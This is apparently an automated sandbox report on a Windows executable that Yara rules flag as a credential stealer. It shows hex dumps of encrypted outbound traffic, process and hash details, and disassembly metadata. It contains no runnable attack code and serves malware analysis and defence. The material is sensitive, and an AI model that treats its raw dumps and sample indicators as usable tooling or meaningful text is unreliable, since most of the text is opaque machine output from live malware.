2024-12-26 12:09:46 UTC	15331	OUT	Data Raw: 18 6c b9 1a a5 a6 87 1f 24 1b 6e 2e 47 e3 48 07 cd 6b e8 68 3d 3b 10 75 80 e3 e1 c6 98 d9 48 d4 47 4b 3f 08 67 c8 16 68 32 df 6d a2 05 eb 77 e5 7e fb d9 69 cf fe ec 2e 13 15 92 a4 43 ab 86 b4 8b 90 38 07 81 2d 1e 5e bc 57 ff c5 0f 46 1a ec a4 2c 36 1b 2c c4 d7 ca 6d 2a cc 18 46 2c 3e 30 1d df 70 10 a2 92 19 39 88 d2 5a d3 9c 79 b9 0a fc 0f d0 b4 d1 c1 04 30 dd 8f 5e da 09 a4 84 a8 a4 6c de 30 2c 41 51 9b e3 63 9e a8 3f d9 6d 09 ef 0a 09 2d 26 2c be 4e d5 e4 49 42 ed 96 0b a4 9f 61 60 c8 1e f9 8f 9f 58 9d d4 73 5d 85 dc ba ac 1a b2 a3 1b 10 3a 83 62 e7 8d 23 81 d1 d2 cd 46 b5 b6 5b 4c 8b a9 96 1d 3d ab d7 9b ea 79 f5 b1 a1 19 90 25 0f 59 36 3a 16 9e 41 1d bf d3 1a c4 b5 c7 c0 74 68 62 95 5b 99 b1 87 96 d5 1c a1 cf 47 7a 0d 52 43 0f 20 44 37 61 f6 6f 33 aa Data Ascii: l$n.GHkh=;uHGK?gh2mw~i.C8-^WF,6,m*F,>0p9Zy0^l0,AQc?m-&,NIBa`Xs]:b#F[L=y%Y6:Athb[GzRC D7ao3
2024-12-26 12:09:46 UTC	15331	OUT	Data Raw: 2e 4d 08 1a 50 59 27 93 33 ca d7 a3 8d cc da 03 6f a9 0f 4b 5e e5 6a 7a ab d0 d4 70 4b e5 f8 58 46 32 35 e5 ac 13 9f 90 68 cf 87 05 21 b9 b1 60 6c 2c 61 73 b3 16 2f 27 c9 d3 b3 97 34 68 63 67 ab d3 9b 82 7c eb 8e 27 ba 24 53 a1 40 c8 39 ee ae ce ca c5 09 13 cc 9c 22 fb 49 89 8f d7 01 72 6c 28 7d 57 68 43 73 e2 a5 5a fd 9d cd ef af fb d4 59 0d 02 e9 61 dc 2c fa d7 0d e7 87 61 24 54 ff a3 48 3f 3e d7 57 db bb 3b 8e 3f 43 39 c6 0f a4 29 01 99 f8 d4 92 53 77 64 b8 29 4f 46 e8 35 23 d5 ed 97 c2 06 8a 87 5e bd 19 9e f1 7e fb 53 8c f5 d2 99 fb 24 94 36 a1 f2 26 68 7a e5 21 c4 fc 14 c8 f9 72 49 7b dc 20 90 53 9e 38 78 28 3f 43 98 31 62 d5 51 d5 15 be b8 d7 2a b6 78 d5 7a e6 b6 d5 dd 6a ce 78 55 50 bd 50 df b1 f6 0a de d6 93 06 22 23 65 93 b5 ca 83 35 9d 97 fe 88 Data Ascii: .MPY'3oK^jzpKXF25h!`l,as/'4hcg\|'$S@9"Irl(}WhCsZYa,a$TH?>W;?C9)Swd)OF5#^~S$6&hz!rI{ S8x(?C1bQ*xzjxUPP"#e5
2024-12-26 12:09:46 UTC	15331	OUT	Data Raw: d1 20 2e ca ae 27 0d 9e d5 6a fe d0 65 71 7b 7d 33 1c 25 fe 11 69 90 3c a9 55 24 4e 05 e2 2c 7b 71 b1 e7 e4 8b ba b8 93 c4 da e6 aa ca 02 6b b6 41 c4 42 c9 6f 97 3d 72 e7 15 04 07 b5 b7 02 7f b7 9d 81 ce b8 1e f5 1c 07 9d b7 c7 14 ae c0 3f ab 5d a6 22 58 4a 8e a5 1d a7 93 27 0d 1f dc 04 1e 32 f2 4f 5b 75 57 1a 7e 74 7f 9d 19 a8 6c b2 47 4f b3 7d 43 37 99 25 1d 92 33 53 66 c7 7e d0 f7 b0 74 a8 9a 1b 9b 89 46 15 ea e3 59 51 ae ab 25 85 1b d1 eb 39 5a 93 d2 97 6b 7e 91 d3 ee b4 ae a6 4f b0 77 cc dd ae 9a e6 fd b7 b7 ed ed 90 98 90 db f1 88 b3 f2 4b 75 c8 65 ec 4d 56 9b 5b d3 e0 15 c1 ca 1b aa 14 b6 bf f8 6a cb 40 88 eb 8a de 15 87 45 ba 2e ad 72 44 1e 09 3e 9a 6c 15 77 55 3d 98 5f 48 67 f5 35 45 d4 b9 cc 99 2b 9e 2b 6d 95 be 7e ba ee e6 dc d1 95 5a 5d 23 89 Data Ascii: .'jeq{}3%i<U$N,{qkABo=r?]"XJ'2O[uW~tlGO}C7%3Sf~tFYQ%9Zk~OwKueMV[j@E.rD>lwU=_Hg5E++m~Z]#
2024-12-26 12:09:46 UTC	15331	OUT	Data Raw: 27 84 40 f9 2b 5c f3 b8 d9 30 be 3f a2 08 17 09 12 04 88 1e 50 17 67 53 0f c0 c9 84 72 83 49 d4 95 49 8c 73 b5 b6 1a 2e 28 96 8d f8 9b 89 8d 9c d3 2f 07 65 79 42 4e 51 b0 22 c8 16 22 c9 2c fe b1 09 55 59 c9 3f 68 8f 0e cb b4 21 5f c2 0a bf 54 ca 7e 68 60 1c 51 66 92 2d 89 08 e5 3c 27 41 ed 30 67 05 6c 14 9e 75 d4 59 ce 53 dd ad a2 5a ad d2 de f8 a0 fb ee 38 74 89 98 3d bd ce 65 a6 67 28 74 99 77 3d 47 26 9f 0f 7b c8 30 c7 6d 93 a1 55 2a e5 4a df 35 f0 fa a3 b9 0b b8 1c 3f ef 3a 89 f9 f6 02 96 56 c8 dd 5e 69 3a c8 e0 c0 a9 5b e3 4e 15 5c 48 f0 e9 d6 eb 46 1e 30 38 e4 38 6c 7d d0 05 23 bc f9 7e ca 7f e7 0d 4d d3 00 75 69 c7 3b 78 e9 8a 10 72 67 a5 6a 58 d8 5f 31 e5 47 d4 0c 33 af e1 09 24 e5 fd 01 e8 3d f8 ff df b1 bd da 39 ca df 8a f3 2f 9c dc 53 1c 71 a7 Data Ascii: '@+\0?PgSrIIs.(/eyBNQ"",UY?h!_T~h`Qf-<'A0gluYSZ8t=eg(tw=G&{0mU*J5?:V^i:[N\HF088l}#~Mui;xrgjX_1G3$=9/Sq
2024-12-26 12:09:46 UTC	15331	OUT	Data Raw: 63 f5 ef df 2c 6e e0 27 0d 0b ec bc d7 9e a9 a6 47 2e 13 87 72 ee 2f df c3 01 2b 66 5b b5 50 c5 01 a7 cf a6 e1 ad ea 25 5a 02 df ee d2 4c e6 d3 4a 3d b4 88 81 8b 58 91 14 af 19 69 9a 9d 85 92 22 ec 07 8d 9f 92 88 2d fc 37 4d ab de 59 34 ae c6 59 78 44 86 30 6e 80 17 47 a8 4f b5 68 e0 d5 bd ee d3 53 f2 47 56 9b 1e ef ce 68 31 6f 8c 57 d1 82 fe f3 25 9e 0c 53 21 50 81 70 84 7b dd fd ac 37 d6 55 52 ce 65 30 a9 44 bb 03 f5 a5 59 27 bf de 4f 78 dc f8 74 ad 9c b2 e8 d7 45 07 a6 77 56 02 7c 95 a3 3f 27 b6 eb 9c 5f cf 66 8a c4 d2 79 4c 86 28 35 ec 2f 2f 66 85 69 9b 74 02 ac d9 24 a3 0b de cf 0f f3 35 28 ab 44 12 89 9e 2b c6 99 04 f0 67 24 20 1c a0 bb dc 55 5b 75 a1 2b a2 99 8b 7d ae 70 a4 f2 11 a4 5b e6 70 2c cb 95 01 7b 37 60 ee 17 98 81 58 06 8f 54 75 dc 8d 9e Data Ascii: c,n'G.r/+f[P%ZLJ=Xi"-7MY4YxD0nGOhSGVh1oW%S!Pp{7URe0DY'OxtEwV\|?'_fyL(5//fit$5(D+g$ U[u+}p[p,{7`XTu
2024-12-26 12:09:46 UTC	15331	OUT	Data Raw: d0 2c 4c 53 bd 1a bb 1c b1 e0 d1 ef 52 f9 c6 f9 2a da 91 88 da 80 60 45 2a f3 98 00 ec 8c f9 3e 1b f2 14 45 ad 67 58 00 e6 15 d6 d1 c3 c8 5a fc 1b f4 70 10 9f 5b 20 0e 2a 91 94 ef cf bc c1 1b 6e ee d6 d2 40 ca 82 7a 17 ae 0a ba 67 9e 95 89 c5 a8 49 1c 8c b5 11 06 6b 99 a0 a1 ab 02 bf 14 d2 8e 9a 19 88 41 f1 5c 35 74 cf f6 c5 9e 48 a0 e7 25 97 18 f3 35 85 bf dc 00 49 f9 cc 84 d0 08 b2 ee 7e 42 db 56 6f d6 65 a0 ad 73 35 c0 b5 79 ef e8 f1 85 2f 33 94 e9 c9 cf 1a 2b ea 0f 67 93 16 8d 29 e9 c3 68 8e 6f a6 e2 7c ce 43 50 df f7 4b 4b 5a d9 9b db fb 96 2e 05 2e a8 19 4a a8 9c 44 8a 71 cf 8f 7e 50 ae 07 48 ec 4b 5d f7 d3 c2 f1 32 97 05 5e 83 c6 ba 7a 19 76 1d d6 87 40 65 a7 84 b3 33 65 f4 f7 6d 2f d2 43 45 1f e4 dc 5e d9 49 0b e1 ef 6e 2e fb 5a 5b b5 4b a6 63 c5 Data Ascii: ,LSR`E>EgXZp[ *n@zgIkA\5tH%5I~BVoes5y/3+g)ho\|CPKKZ..JDq~PHK]2^zv@e3em/CE^In.Z[Kc
2024-12-26 12:09:46 UTC	15331	OUT	Data Raw: be 74 08 d6 b8 02 dc 86 d5 d3 f7 3c bf c6 e3 c9 38 ac 75 21 85 fb a2 74 78 06 44 e5 6c 9e 0b 10 a4 03 d1 bc 1e 18 f5 bd fd 39 40 33 e7 ec 26 67 ca c7 65 27 49 d1 2b c0 fa 01 03 07 e2 db c4 e8 dd 7c e0 c8 7f 9a db 17 4f cb cd db 85 cd 8f d6 c5 83 d9 16 03 25 23 92 e2 7a 91 97 c1 e3 f0 12 8e 4e cd 3e 48 b4 88 dd dd 71 d5 42 12 5a 39 85 93 54 a9 b0 b5 74 b8 cd 56 5d 10 6c c3 75 f1 0e cf ce ae 36 8f 6a 8b d0 bf 88 87 10 3a e6 08 97 c0 94 86 c2 85 b1 7b 4f f8 73 2c ce 3b d7 a5 09 98 66 3f d7 46 79 9b 77 13 9d f6 1a 57 06 49 40 8d 15 ad 48 de c4 fa d0 05 de 51 7d 3f cc 1b 17 ae dc 55 15 34 63 4d bb 75 f7 67 6a 91 37 fb d1 b5 5a b4 d8 65 cc de c1 48 1a e6 d8 c4 37 ad f0 ff b5 2e 5a e9 fc 95 ed fe 56 9c 7a 37 09 4f 4a db 87 9f 50 5d 6a bd 18 a7 4a 97 35 3b 85 85 Data Ascii: t<8u!txDl9@3&ge'I+\|O%#zN>HqBZ9TtV]lu6j:{Os,;f?FywWI@HQ}?U4cMugj7ZeH7.ZVz7OJP]jJ5;
2024-12-26 12:09:46 UTC	15331	OUT	Data Raw: 3b 45 04 86 8f ef a3 88 d6 27 78 2f 95 37 86 18 8a 3c cb 1c 2c e7 52 c0 62 c5 f6 d7 52 36 df 71 77 af f3 74 97 19 91 90 5c 7b 9c 0d c1 01 64 2c 0e 30 e9 e1 e8 b7 1a 8e f7 7d 25 9c 54 00 b1 6e 0c 2b 5d ab f1 24 12 21 7a a0 1c f9 10 c8 59 1e be 8c 12 6b e7 ef 70 54 80 49 fc 4c c0 22 fa b1 14 41 a7 a9 0a 49 26 91 b2 7b 55 83 9c 8b 8a 5a 4a fa 00 92 bd 48 b1 de e4 33 f0 25 2f 03 49 be 32 06 96 81 05 e2 e8 c4 59 61 3e 9a 25 67 79 01 57 72 19 71 08 59 14 38 15 7a 01 05 5b 37 85 d6 1b e0 96 6e d3 db 19 3f 41 7b 83 d6 99 70 ee 5d 4a 92 92 a1 a1 00 24 7b c2 82 66 58 a0 b8 77 88 70 65 11 47 28 8c dd 12 64 0a 70 21 56 8e c9 a4 29 21 20 6c 89 da 2e 96 65 cd 85 c0 10 49 b2 03 54 0a 24 28 32 3a 70 06 e6 86 e6 75 49 da ec 92 f5 94 f6 36 6d cc d8 76 8a 4f dd b2 eb 69 60 Data Ascii: ;E'x/7<,RbR6qwt\{d,0}%Tn+]$!zYkpTIL"AI&{UZJH3%/I2Ya>%gyWrqY8z[7n?A{p]J${fXwpeG(dp!V)! l.eIT$(2:puI6mvOi`
2024-12-26 12:09:46 UTC	15331	OUT	Data Raw: d3 bf e0 7b b2 e0 d0 81 a9 94 40 0f f2 59 13 5b d9 89 8a 80 db 0d d3 50 9d 47 69 4b 22 25 8c c6 ce 5f 0d 88 d9 8f f3 80 6e 17 83 a2 d7 ac e3 56 c6 fe 6d 37 ef bd ad 22 c4 21 5f ec 7b b9 3c fe f4 bf ad 4a e7 51 61 32 79 8f c2 f2 6c e0 10 06 9b df 6d bd ff 8c f4 c5 95 20 d7 df 1f 5f 45 1b 14 2c 26 a4 96 0c d1 7c 32 1d 4e c5 8f 86 ae 3c 59 ef bb 43 d3 67 a6 ce e7 47 3e 4c 0b 60 f9 f2 c7 7a 43 f8 09 de f8 c6 9b 33 78 a5 ef a6 c4 14 7a 93 f4 0d 96 f4 01 bb a0 19 89 00 87 95 37 15 be 4a bc 51 ec 42 d3 6a 52 74 a6 75 c6 e1 02 c0 fe 9b 7d 53 87 35 d9 51 ec e7 cc 7d 13 e4 fd 57 6b 08 c1 0d a4 42 23 80 94 80 f0 0a 3e e4 ca ac 0b 02 c9 25 00 fa d7 fe f1 de 60 65 51 d6 3e e4 de 37 58 84 4d 3a f9 f7 5f 5f a3 f1 13 56 14 72 24 f2 36 83 4e fb 1a bf 60 31 ca a7 0d 04 f0 Data Ascii: {@Y[PGiK"%_nVm7"!_{<JQa2ylm _E,&\|2N<YCgG>L`zC3xz7JQBjRtu}S5Q}WkB#>%`eQ>7XM:__Vr$6N`1
2024-12-26 12:09:49 UTC	1131	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 12:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=987ivm9cmh5qm9ldcrucrvusch; expires=Mon, 21 Apr 2025 05:56:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gdogTtgVEw3BOCbK1yvdKhUoKerX6oUHSYlD7OzIqVi94bmxfol%2Bx0HD2KxpviIwOFVU3w%2FQEblmDGOM52CTWnY%2FO1VZGJBbFKcqQQ2tCnrwulmmxeH5KyRnj0p1mnddZGs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80f6c0db85c335-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1703&min_rtt=1699&rtt_var=645&sent=346&recv=600&lost=0&retrans=0&sent_bytes=2834&recv_bytes=575275&delivery_rate=1685912&cwnd=165&unsent_bytes=0&cid=9516870d3d37e9a9&ts=3718&x=0"

Target ID:	0
Start time:	07:09:20
Start date:	26/12/2024
Path:	C:\Users\user\Desktop\YKri2nEBWE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\YKri2nEBWE.exe"
Imagebase:	0xc40000
File size:	2'920'448 bytes
MD5 hash:	1C4C5CCA8B9C930895E0E425563CF07E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2283078885.000000000159E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2282746044.000000000159C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2283719723.000000000159E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2284073141.000000000159E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2286941764.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	27.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	68.2%
Total number of Nodes:	255
Total number of Limit Nodes:	23

Executed Functions

Function 00C557C0 Relevance: 29.7, APIs: 1, Strings: 15, Instructions: 1713COMMON

Download Yara Rule

Strings

w}MI, xrefs: 00C56128
~mfQ, xrefs: 00C5613E
_^]\, xrefs: 00C55B14
t~v:, xrefs: 00C561E7
S\], xrefs: 00C559EE
L4, xrefs: 00C56BA0
*,-", xrefs: 00C566EF
ntxE, xrefs: 00C56112
pt}w, xrefs: 00C561F2
3F&D, xrefs: 00C56273
qRb`, xrefs: 00C56133
{zdy, xrefs: 00C5611D
L4, xrefs: 00C56780
uqrs, xrefs: 00C56AF0
WQ, xrefs: 00C559E3

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID:
String ID: *,-"$3F&D$_^]\$ntxE$pt}w$qRb`$t~v:$uqrs$w}MI${zdy$~mfQ$S\]$WQ$L4$L4
API String ID: 0-510280711
Opcode ID: 00e7c39bdcfb55b928fca35bfb2557bb999900485cb420ce492364d2d0b3f22d
Instruction ID: e8d45d48c5235bbcbcdf93aa5ed233e39d36341181a56c422dd0491f256c863f
Opcode Fuzzy Hash: 00e7c39bdcfb55b928fca35bfb2557bb999900485cb420ce492364d2d0b3f22d
Instruction Fuzzy Hash: ABC267B56083408FD7208F28C8927AFB7E1FF95315F59893CE8D98B292E7349945CB46

Function 00C61D00 Relevance: 26.8, Strings: 21, Instructions: 506
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

9, xrefs: 00C61F0C
\, xrefs: 00C623C2
\, xrefs: 00C62150
\, xrefs: 00C61DB3
^, xrefs: 00C61DA9
^, xrefs: 00C623B8
s, xrefs: 00C62284
g, xrefs: 00C620CC
!@, xrefs: 00C61D36
], xrefs: 00C623BD
], xrefs: 00C6214B
_, xrefs: 00C61DA4
Z, xrefs: 00C620DB
^, xrefs: 00C62146
8, xrefs: 00C61F07
,, xrefs: 00C621D9
], xrefs: 00C61DAE
_, xrefs: 00C62141
?, xrefs: 00C61F02
_, xrefs: 00C623B3
d, xrefs: 00C620D6

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID:
String ID: !@$,$8$9$?$Z$\$\$\$]$]$]$^$^$^$_$_$_$d$g$s
API String ID: 0-1565257739
Opcode ID: c6e7dc6c803628b3693a14e4f06b6e60d1193b2c784333091e3953fcf347bcfe
Instruction ID: 2ff38c781c0ccd25d10f7157443096d54074d9848f82b00abe23cb520567b818
Opcode Fuzzy Hash: c6e7dc6c803628b3693a14e4f06b6e60d1193b2c784333091e3953fcf347bcfe
Instruction Fuzzy Hash: E522AF7150CB808FD3248F29C48536FBBE1AB86314F18896EE5E987392D77AC945DB43

Function 00C79280 Relevance: 23.4, APIs: 5, Strings: 8, Instructions: 661
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(00001F7A), ref: 00C79551
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00C7958F
SysFreeString.OLEAUT32 ref: 00C798DF
SysFreeString.OLEAUT32(?), ref: 00C798E5
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,00001F7A,00000000,00000000,00000000,00000000), ref: 00C7992E

Strings

t"j, xrefs: 00C7966E
gd, xrefs: 00C7968E
:;$%, xrefs: 00C799C0
SB, xrefs: 00C7979E
b{tu, xrefs: 00C792D9, 00C7939B
Jtuj, xrefs: 00C792E5
=hn, xrefs: 00C79676
O^, xrefs: 00C797A6

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
